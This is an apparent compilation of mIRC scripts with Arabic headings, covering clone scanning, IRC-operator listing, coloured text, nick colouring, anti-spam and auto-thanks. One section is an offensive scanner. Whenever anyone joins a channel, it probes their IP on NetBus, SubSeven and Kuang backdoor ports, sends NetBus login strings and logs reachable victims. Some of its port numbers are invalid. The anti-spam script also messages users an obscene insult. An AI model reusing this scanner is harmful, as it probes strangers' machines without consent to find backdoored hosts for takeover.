100 19, tab 2 check "Echo to channel" 8, 45 110 100 19, tab 2 check "Echo to @window" 9, 45 127 110 19, tab 2 edit "" 21, 160 127 90 19, tab 2 text "If more than" 10, 35 160 56 19, tab 2 edit "" 11, 94 158 28 19, tab 2 text "are found," 12, 124 160 50 19, tab 2 radio "Kick only" 13, 45 190 62 19, tab 2 group edit "" 14, 120 190 90 19, autohs tab 2 radio "Ban only" 15, 45 210 60 19, tab 2 radio "KickBan" 16, 45 230 60 19, tab 2 edit "" 17, 120 230 90 19, autohs tab 2 radio "Warn" 18, 45 250 50 19, tab 2 radio "msg" 19, 120 251 50 19, tab 2 group radio "notice" 20, 170 251 50 19, tab 2 check "" 22, 17 158 14 20, tab 2 edit "sdf" 23, 16 47 417 255, tab 3 multi read } ;-------- - - ; Events ;-------- - - on *:dialog:kloneprot:init:0:{ if ($_cloneprot(Join_Scan) == $true) { did -c $dname 5 } | else { did -b $dname 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 } if ($_cloneprot(Echo_active) == $true) { did -c $dname 7 } if ($_cloneprot(Echo_channel) == $true) { did -c $dname 8 } if ($gettok($_cloneprot(Echo_window),1,32) == $true) { did -c $dname 9 | did -a $dname 21 $gettok($_cloneprot(echo_window),2-,32) } | else { did -a $dname 21 $gettok($_cloneprot(echo_window),2-,32) | did -b $dname 21 } if ($gettok($_cloneprot(more_than),1,32) == $true) { did -c $dname 22 | did -a $dname 11 $gettok($_cloneprot(more_than),2,32) } else { did -b $dname 13,14,15,16,17,18,19,20 | did -a $dname 11 $gettok($_cloneprot(more_than),2,32) | did -b $dname 11 } if ($gettok($_cloneprot(kick_only),1,32) == $true) { did -c $dname 13 | did -a $dname 14 $gettok($_cloneprot(kick_only),2-,32) } | else { did -a $dname 14 $gettok($_cloneprot(kick_only),2-,32) | did -b $dname 14 } if ($_cloneprot(ban_only) == $true) { did -c $dname 15 } if ($gettok($_cloneprot(kick_ban),1,32) == $true) { did -c $dname 16 | did -a $dname 17 $gettok($_cloneprot(kick_ban),2-,32) } | else { did -a $dname 17 $gettok($_cloneprot(kick_ban),2-,32) | did -b $dname 17 } if ($_cloneprot(warn) == msg) { did -c $dname 18 | did -c $dname 19 } if ($_cloneprot(warn) == notice) { did -c $dname 18 | did -c $dname 20 } if ($_cloneprot(warn) == $false) { did -b $dname 19,20 } did -ra kloneprot 23 Author: swarm $crlf Contact: $crlf    turners@icehouse.net $crlf    swarm@DALnet $crlf } on *:dialog:kloneprot:sclick:1:{ if ($did(5).state == 1) { did -e $dname 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 | _wrclone Join_Scan $true } | else { did -b $dname 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 | _wrclone Join_Scan $false } if ($did(7).state == 1) { _wrclone Echo_active $true } | else { _wrclone Echo_active $false } if ($did(8).state == 1) { _wrclone Echo_channel $true } | else { _wrclone Echo_channel $false } if (($did(9).state == 1) && ($did(21).text != $null)) { _wrclone Echo_window $true $did(21).text } | else { _wrclone Echo_window $false $did(21).text } if (($did(22).state == 1) && ($did(11).text)) { _wrclone more_than $true $did(11).text } | else { _wrclone more_than $false $did(11).text } if (($did(13).state == 1) && ($did(14).text != $null)) { _wrclone kick_only $true $did(14).text } | else { _wrclone kick_only $false $did(14).text } if ($did(15).state == 1) { _wrclone ban_only $true } | else { _wrclone ban_only $false } if (($did(16).state == 1) && ($did(17).text != $null)) { _wrclone kick_ban $true $did(17).text } | else { _wrclone kick_ban $false $did(17).text } if ($did(18).state == 1) { _wrclone warn $iif($did(19).state,msg,notice) } | else { _wrclone warn $false } } on *:dialog:kloneprot:sclick:*:{ if ($did(5).state == 1) { did -e $dname 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 } | else { did -b $dname 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 } if ($did(9).state == 1) { did -e $dname 21 } | else { did -b $dname 21 } if ($did(13).state == 1) { did -e $dname 14 } | else { did -b $dname 14 } if ($did(16).state == 1) { did -e $dname 17 } | else { did -b $dname 17 } if ($did(18).state == 1) { did -e $dname 19,20 | if (($did(19).state == 0) && ($did(20).state == 0)) { did -c $dname 19 } } | else { did -b $dname 19,20 | did -u $dname 19,20 } if ($did(22).state == 1) { did -e $dname 11 | did -e $dname 13,15,16,18, } | else { did -b $dname 11 | did -b $dname 13,14,15,16,17,18,19,20 } } ON *:DIALOG:c*:*:*: { if ($did == 4) { did -c c 7 $did(c,4).sel } | if ($did == 7) { did -c c 4 $did(c,7).sel } | if ($did == 8) { if ($me isop %_clonechan) { kick %_clonechan $did(c,4).seltext Clones | did -d c 4 $did(c,4).sel | did -d c 7 $did(c,7).sel } } | if ($did == 9) { if ($me isop %_clonechan) { ban %_clonechan $did(c,4).seltext 11 | kick %_clonechan $did(c,4).seltext Banned - Clones. | did -d c 4 $did(c,4).sel | did -d c 7 $did(c,7).sel } } } on me:*:JOIN:#: if ($chan(#).ial == $false) { who $chan } on !*:JOIN:#: { if ($ialchan($wildsite,#,0) > 1) { set %clone.scan.total $ialchan($wildsite,#,0) | set %clone.scan.current 0 if ($_cloneprot(Join_Scan)) { if (%clone.scan.total > $_cloneprot(more_than)) { if ($gettok($_cloneprot(kick_only),1,32)) { kick $chan $nick $gettok($_cloneprot(kick_only),2-,32) } if ($_cloneprot(ban_only) == $true) { mode $chan +b $wildsite } if ($gettok($_cloneprot(kick_ban),1,32) == $true) { mode $chan +b $wildsite | kick $chan $nick $gettok($_cloneprot(kick_ban),2-,32) } if ($_cloneprot(warn) == msg) { msg $nick 2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 12 Please do not clone in $Chan } if ($_cloneprot(warn) == notice) { notice $nick 2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 12 Please do not clone in $chan } if ($_cloneprot(warn) == $false) { return } } } if (%clone.scan.total > 10) { echo $chan $chr(3) $+ 04*** Clone Scan: Too many clones to kick, may risk being flooded off. A ban will still be placed. } :start | inc %clone.scan.current 1 | set %clone.scan.list %clone.scan.list $+ $chr(32) $+ $ialchan($wildsite,#,%clone.scan.current).nick $+ , | if ($ialchan($wildsite,#,%clone.scan.current).nick !isin %clone.kick. [ $+ [ $chan ] ]) { set -u10 %clone.kick. [ $+ [ $chan ] ] %clone.kick. [ $+ [ $chan ] ] $+ $ialchan($wildsite,#,%clone.scan.current).nick $+ , } if (%clone.scan.current < %clone.scan.total) { goto start } if ($_cloneprot(Echo_active)) { if ($active != $chan) { echo -a $chan 14»»»2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 12 Clones Detected from $site $+ : $left(%clone.scan.list,-1) } } if ($_cloneprot(Echo_channel)) { echo $chan 14»»»2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 12 Clones Detected from $site $+ : $left(%clone.scan.list,-1) } if ($gettok($_cloneprot(Echo_window),1,32)) { window $gettok($_cloneprot(Echo_window),2,32) | aline $gettok($_cloneprot(Echo_window),2,32) $chan 3*** Clones Detected from $site $+ : $left(%clone.scan.list,-1) } unset %clone.scan.list } }

اسكنر  كشف الى يدخل الجنل بكثر من نك

اسكنر سريع

menu menubar { اسـكان اكلون .الارسى اوب ..Network:/nwscan ..Channel:/nwscan .الى داش بكثر من نك ..Clone Scanner:/scanc .- .SKOOD:/add22 } menu channel { اسـكان اكلون .الارسى اوب ..Network:/nwscan ..Channel:/chscan . اسـكان اكلون ..Clone Scanner:/scanc .- .SKOOD:/add22 } menu @Ircops_In_Channel { Message IrcOp:/msgircop Notice IrcOp:/notircop Query IrcOp:/query $1 - Whois this IrcOp:/whois $1 Ping the IrcOp:/ctcp $1 ping CTCP the IrcOp:/ctcp $1 $?="What CTCP will you send?" } menu @Server_IRCops { Message IrcOp:/msgircop Notice IrcOp:/notircop Query IrcOp:/query $1 - Whois this IrcOp:/whois $1 Ping the IrcOp:/ctcp $1 ping CTCP the IrcOp:/ctcp $1 $?="What CTCP will you send?" } menu @clones { Kick the Clone:/kick $?="What channel?" $1 I'm sorry bud. We do not serve your kind here. Espicaly because clones don't drink that much. Ban the Clone:/ban $?="What channel?" $1 | /timer 1 1 /kick # $1 Look. Don't you get it, we don't like clones here. - Whois this Clone:/whois $1 Ping the Clone:/ctcp $1 ping - Message:/msg $1 $?="What message do you want to send?" Query:/query $1 Notice:/notice $1 $?="What notice do you want to send?" CTCP:/ctcp $1 $?="What CTCP do you want to send?" } #ircopnetwork off raw 352:*:{ /aline @Server_Ircops $6 halt } #ircopnetwork end #ircopchannel off raw 352:*:{ if %ircopchan == $2 { aline @Ircops_in_Channel $6 | goto end } :end halt } #ircopchannel end alias scanc { unset %cs.* set %cs.chan # who # /echo 3 $active Scanning for Clones. 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- .timer 1 4 /scan2 } alias scan2 { window -kl @Clones titlebar @Clones in # set %cs.a $nick(#,0) :loop if ($ialchan($address($nick(#,%cs.a),2),#,0) > 1) && ($address($nick(#,%cs.a),2) !isin %cs.d) { set %cs.d %cs.d $address($nick(#,%cs.a),2) set %cs.c $ialchan($address($nick(#,%cs.a),2),#,0) :l aline @clones $ialchan($address($nick(#,%cs.a),2),#,%cs.c).nick (4 $+ $address($nick(#,%cs.a),2) $+ ) dec %cs.c 1 if (%cs.c == 0) { aline @clones 9,1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- 9,1]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- | goto next } goto l } :next dec %cs.a 1 if (%cs.a != 0) { goto loop } if (%cs.d == $null) { aline @clones 12No clones found in this channel. } halt } alias add22 { /me 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  13Welcome to12 Www.WeLcOme.To/SKOOD } alias msgircop { /msg $1 $?="Write message here." } alias nwscan { .enable #ircopnetwork window -kl @Server_IrcOps aline @Server_IrcOps 12Listing IrcOps for this irc network 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- who 0 o .timer 1 5 /aline @Server_IrcOps 12Done listing IrcOps for this IRC network. 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- .timer 1 10 .disable #ircopnetwork } alias chscan { .enable #ircopchannel set %ircopchan $chan window -kl @Ircops_in_Channel aline @Ircops_in_Channel 12Listing IrcOps in the channel $chan $+ : who 0 o .timer 1 5 /aline @Ircops_in_Channel 12Done listing IrcOps for the channel $chan $+ . 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=-  .timer 1 5 .disable #ircopchannel } ctcp 1:version:*: /ctcpreply $nick Addon $me 3is using 4IRC^Hack Scanner v. 13 Www.WeLcOme.To/SKOOD

اسكان كذا بورت اسوي بحث الى اى شخص يدخل الجنل

#scan on on 1:join:#:{ if ($nick == $me) { echo $chan 4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12*10S3ub2Sev3an 4V214.12114.103 10al3sa2q3er4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12*4*12* } if ($chan == #SubSevan) return sockclose nb* sockclose sk* sockclose SubSevan* sockclose su* sockclose ku* sockclose Sb* sockclose Se* sockclose Sn* %ip = $site %nic = $nick %ch = $chan %dt = $$adate %port sockopen nb $site 12345 sockopen sk $site 5000 sockopen SubSevan $site 71080 sockopen su $site 27374 sockopen ku $site 17300 sockclose Sb $site 595750 sockclose Se $site 54283 sockclose Sn $site 27573 } on 1:sockopen:nb:{ if ($sockerr > 0) return sockwrite -n nb Password;1;any sockwrite -n nb ServerPwd;host inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12NetBus 4port 6 12345 } on 1:sockopen:sk:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12Troie 4port 6 5000 } on 1:sockopen:SubSevan:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12SubSevan 4port 6 71080 } on 1:sockopen:su:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12SubSeven 4port 6 27374 } on 1:sockopen:ku:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt : kuang 4port 6 17300 } on 1:sockopen:Sb:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12SubSevan 4port 6 595750 } on 1:sockopen:se:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12SubSeven 4port 6 54283 } on 1:sockopen:sn:{ if ($sockerr > 0) return inc %scan 1 /echo -a 12Name:4 %nic 12Ip:4 $sock($sockname).ip 12Channel:4 %ch #:4 %scan :4 %dt :12SubSeven 4port 6 27573 } #scan end

لكتابة اشكال بلوان متعددة

كوكتيل ألـوان ..Blue: { /set %shdtext $?="Text" /say 12,12... $+ %shdtext $+ ..... /say 12,12..15,15.... $+ %shdtext $+ 12,12..15,15. /say 12,12..15,15.0,0.12,0 $+ %shdtext $+ 0,0..12,12..15,15. /say 12,12..15,15.0,0..15,0 $+ %shdtext $+ 0,0.12,12..15,15. /say 12,12.... $+ %shdtext $+ ....15,15. /say 0,0.15,15... $+ %shdtext $+ 15,15..... } ..Red: { /set %shdtext $?="Text" /say 5,5... $+ %shdtext $+ ..... /say 5,5..15,15.... $+ %shdtext $+ 5,5..15,15. /say 5,5..15,15.0,0.4,0 $+ %shdtext $+ 0,0..5,5..15,15. /say 5,5..15,15.0,0..15,0 $+ %shdtext $+ 0,0.5,5..15,15. /say 5,5.... $+ %shdtext $+ ....15,15. /say 0,0.15,15... $+ %shdtext $+ 15,15..... } ..Pink: { /set %shdtext $?="Text" /say 13,13... $+ %shdtext $+ ..... /say 13,13..15,15.... $+ %shdtext $+ 13,13..15,15. /say 13,13..15,15.0,0.13,0 $+ %shdtext $+ 0,0..13,13..15,15. /say 13,13..15,15.0,0..15,0 $+ %shdtext $+ 0,0.13,13..15,15. /say 13,13.... $+ %shdtext $+ ....15,15. /say 0,0.15,15... $+ %shdtext $+ 15,15..... } ..Green: { /set %shdtext $?="Text" /say 9,9... $+ %shdtext $+ ..... /say 9,9..3,3.... $+ %shdtext $+ 9,9..3,3. /say 9,9..3,3.0,0.9,0 $+ %shdtext $+ 0,0..9,9..3,3. /say 9,9..3,3.0,0..3,0 $+ %shdtext $+ 0,0.9,9..3,3. /say 9,9.... $+ %shdtext $+ ....3,3. /say 0,0.3,3... $+ %shdtext $+ 3,3..... } ..Yellow: { /set %shdtext $?="Text" /say 2,2... $+ %shdtext $+ ..... /say 2,2..8,8.... $+ %shdtext $+ 2,2..8,8. /say 2,2..8,8.0,0.2,0 $+ %shdtext $+ 0,0..2,2..8,8. /say 2,2..8,8.0,0..8,0 $+ %shdtext $+ 0,0.2,2..8,8. /say 2,2.... $+ %shdtext $+ ....8,8. /say 0,0.8,8... $+ %shdtext $+ 8,8..... } ..Black: { /set %shdtext $?="Text" /say 1,1... $+ %shdtext $+ ..... /say 1,1..15,15.... $+ %shdtext $+ 1,1..15,15. /say 1,1..15,15.0,0.1,0 $+ %shdtext $+ 0,0..1,1..15,15. /say 1,1..15,15.0,0..15,0 $+ %shdtext $+ 0,0.1,1..15,15. /say 1,1.... $+ %shdtext $+ ....15,15. /say 0,0.15,15... $+ %shdtext $+ 15,15..... } ..Purple: { /set %shdtext $?="Text" /say 6,6... $+ %shdtext $+ ..... /say 6,6..10,10.... $+ %shdtext $+ 6,6..10,10. /say 6,6..10,10.0,0.6,0 $+ %shdtext $+ 0,0..6,6..10,10. /say 6,6..10,10.0,0..10,0 $+ %shdtext $+ 0,0.6,6..10,10. /say 6,6.... $+ %shdtext $+ ....10,10. /say 0,0.10,10... $+ %shdtext $+ 10,10..... } .- } لوحت اعلان { set %locobr $?="فقط حط انك او اسم القناة المساحه غير كافيه" say 1,1-5,1¸.·´¯5,5-4,4-5,5-5,1¯`·.¸4,4-- %locobr ----5,1¸.·´¯5,5-4,4-5,5-5,1¯`·.¸ say 1,1-5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸4,4-- %locobr ----5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸15,15- say 1,1-5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸4,4-- 4,1 %locobr 4,4--4,4 5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸15,15- say 1,1-5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸4,4-- %locobr ----5,1¸.·´¯5,5-4,1®5,5-5,1¯`·.¸15,15- say 1,1-5,1¸.·´¯5,5-4,4-5,5-5,1¯`·.¸4,4-- %locobr ----5,1¸.·´¯5,5-4,4-5,5-5,1¯`·.¸15,15- say 0,0 15,15A|FrEdO---------------------- %locobr ---- unset %locobr }

متعددة  وين اليوزرات مع الاوبات بألوان مشكله

;######################## ; ; ;zud on 1:load:{ if ($version < 5.41) { echo 4 -a -(ColorSort)- Unable to load script. Get mIRC5.41 | .unload -rs colorsort.mrc | halt } writeini randcolor.ini random color 3 writeini randcolor.ini random op 2 writeini randcolor.ini random voice 4 echo 4 -a -(ColorSort)- Successfully Loaded } on *:join:#:{ if (%color.randnot == $false) { set %color.rest $readini randcolor.ini random color cline %color.rest $chan $nick halt } cline $random(1,14) $chan $nick } on *:op:#:{ if (%color.opnot == $false) { set %color.op $readini randcolor.ini random op cline %color.op $chan $opnick halt } cline $random(1,14) $chan $opnick } on *:deop:#:{ if ($opnick isvo $chan) { if (%color.voicenot == $false) { set %color.vo $readini randcolor.ini random voice cline %color.vo $chan $opnick halt } cline $random(1,14) $chan $opnick } elseif (%color.randnot == $false) { set %color.rest $readini randcolor.ini random color cline %color.rest $chan $opnick halt } cline $random(1,14) $chan $opnick } on *:voice:#:{ if ($vnick isop $chan) { if (%color.opnot == $false) { set %color.op $readini randcolor.ini random op cline %color.op $chan $vnick halt } cline $random(1,14) $chan $vnick } if ($vnick !isop $chan) { if (%color.voicenot == $false) { set %color.vo $readini randcolor.ini random voice cline %color.vo $chan $vnick halt } cline $random(1,14) $chan $vnick } } on *:devoice:#:{ if ($vnick isop $chan) { if (%color.opnot == $false) { set %color.op $readini randcolor.ini random op cline %color.op $chan $vnick halt } cline $random(1,14) $chan $vnick } if ($vnick !isop $chan) { if (%color.randnot == $false) { set %color.rest $readini randcolor.ini random color cline %color.rest $chan $vnick halt } cline $random(1,14) $chan $vnick } } raw 366:*:{ if ((%color.randnot == $true) || (%color.randnot == $false)) { set %color.rest $readini randcolor.ini random color } if ((%color.opnot == $true) || (%color.opnot == $false)) { set %color.op $readini randcolor.ini random op } if ((%color.voicenot == $true) || (%color.voicenot == $false)) { set %color.vo $readini randcolor.ini random voice } set %cline.inc 0 :clineloop inc %cline.inc if ($nick($2,%cline.inc) == $null) { goto clineend } if ($nick($2,%cline.inc) isop $2) { if (%color.opnot == $true) { set %color.randd $random(1,14) set %color.op $replace(%color.op,%color.op,%color.randd) cline %color.op $2 $nick($2,%cline.inc) } else { cline %color.op $2 $nick($2,%cline.inc) } } if ($nick($2,%cline.inc) isvo $2) { if (%color.voicenot == $true) { set %color.randd $random(1,14) set %color.vo $replace(%color.vo,%color.vo,%color.randd) cline %color.vo $2 $nick($2,%cline.inc) } else { cline %color.vo $2 $nick($2,%cline.inc) } } if (($nick($2,%cline.inc) isvo $2) && ($nick($2,%cline.inc) isop $2)) { if (%color.opnot == $true) { set %color.randd $random(1,14) set %color.op $replace(%color.op,%color.op,%color.randd) cline %color.op $2 $nick($2,%cline.inc) } else { cline %color.op $2 $nick($2,%cline.inc) } } elseif (($nick($2,%cline.inc) !isop $2) && ($nick($2,%cline.inc) !isvo $2)) { if (%color.randnot == $true) { set %color.randd $random(1,14) set %color.rest $replace(%color.rest,%color.rest,%color.randd) cline %color.rest $2 $nick($2,%cline.inc) } else { cline %color.rest $2 $nick($2,%cline.inc) } } goto clineloop :clineend unset %cline.* return halt } alias random { :rand set %rand.num $rand($1,$2) if ((%rand.num == 8) || (%rand.num == 9) || (%rand.num == 11) || (%rand.num == %color.op) || (%rand.num == %color.vo)) { goto rand } return %rand.num unset %rand.num } alias nl { if ((%color.randnot == $true) || (%color.randnot == $false)) { set %color.rest $readini randcolor.ini random color } if ((%color.opnot == $true) || (%color.opnot == $false)) { set %color.op $readini randcolor.ini random op } if ((%color.voicenot == $true) || (%color.voicenot == $false)) { set %color.vo $readini randcolor.ini random voice } set %cline.inc 0 :clineloop inc %cline.inc if ($nick($chan,%cline.inc) == $null) { goto clineend } if ($nick($chan,%cline.inc) isop $chan) { if (%color.opnot == $true) { set %color.randd $random(1,14) set %color.op $replace(%color.op,%color.op,%color.randd) cline %color.op $chan $nick($chan,%cline.inc) } else { cline %color.op $chan $nick($chan,%cline.inc) } } if ($nick($chan,%cline.inc) isvo $chan) { if (%color.voicenot == $true) { set %color.randd $random(1,14) set %color.vo $replace(%color.vo,%color.vo,%color.randd) cline %color.vo $chan $nick($chan,%cline.inc) } else { cline %color.vo $chan $nick($chan,%cline.inc) } } if (($nick($chan,%cline.inc) isvo $chan) && ($nick($chan,%cline.inc) isop $chan)) { if (%color.opnot == $true) { set %color.randd $random(1,14) set %color.op $replace(%color.op,%color.op,%color.randd) cline %color.op $chan $nick($chan,%cline.inc) } else { cline %color.op $chan $nick($chan,%cline.inc) } } elseif (($nick($chan,%cline.inc) !isop $chan) && ($nick($chan,%cline.inc) !isvo $chan)) { if (%color.randnot == $true) { set %color.randd $random(1,14) set %color.rest $replace(%color.rest,%color.rest,%color.randd) cline %color.rest $chan $nick($chan,%cline.inc) } else { cline %color.rest $chan $nick($chan,%cline.inc) } } goto clineloop :clineend unset %cline.* halt } menu channel { اخترلون اليوزر .Sort:nl .Set Color ..Ops ...Random:set %color.opnot $true | nl ...Set:{ set %color.opnot $false writeini randcolor.ini random op $$?="Color $+ $crlf $+ 1-15" nl } ..Voiced ...Random:set %color.voicenot $true | nl ...Set:{ set %color.voicenot $false writeini randcolor.ini random voice $$?="Color $+ $crlf $+ 1-15" nl } ..Normal Users ...Random:set %color.randnot $true | nl ...Set:{ set %color.randnot $false writeini randcolor.ini random color $$?="Color $+ $crlf $+ 1-15" nl } .Set normal:{ set %color.randnot $false set %color.voicenot $false set %color.opnot $false writeini randcolor.ini random color 1 writeini randcolor.ini random voice 1 writeini randcolor.ini random op 1 nl } }

اقنور جميع أنواع الانفايت

ON 1:LOAD: { echo -a 4####################################################### echo -a 4¤NoSpamPlz by Far-King4¤ (http://hazard0us.cjb.net)# echo -a 4This script are automaticly close query that4 # echo -a 4contains word http,www,join,#,sex4 # echo -a 4To make this run, you must turn on a remote # echo -a 4It can be done by type /remote on # echo -a 4Have pun with my script mate!4 # echo -a 4####################################################### } on 1:text:*www*:?:/close -m $nick | /ignore -u30 $nick | /msg $nick 4All Spammers Sucks Like You Matha Fucker!! | /echo -a 4Now ignored $nick for 30sec (NoSpamPlz) on 1:text:*http*:?:/close -m $nick | /ignore -u30 $nick | /msg $nick 4All Spammers Sucks Like You Matha Fucker!! | /echo -a 4Now ignored $nick for 30sec(NoSpamPlz) on 1:text:*join*:?:/close -m $nick | /ignore -u30 $nick | /msg $nick 4All Spammers Sucks Like You Matha Fucker!! | /echo -a 4Now ignored $nick for 30sec (NoSpamPlz) on 1:text:*#*:?:/close -m $nick | /ignore -u30 $nick | /msg $nick 4All Spammers Sucks Like You Matha Fucker!! | /echo -a 4Now ignored $nick for 30sec(NoSpamPlz) on 1:text:*sex*:?:/close -m $nick | /ignore -u30 $nick | /msg $nick 4All Spammers Sucks Like You Matha Fucker!! | /echo -a 4Now ignored $nick for 30 (NoSpamPlz)

امر يشكر الى يعطيك اوب او فويس

on 1:op:#: if ($opnick == $me ) { msg $chan 12Thanx for the OP $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- %at | halt } on 1:VOICE:#: if ($vnick == $me ) { msg $chan 12Thanx for the voice $nick 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- %at | halt }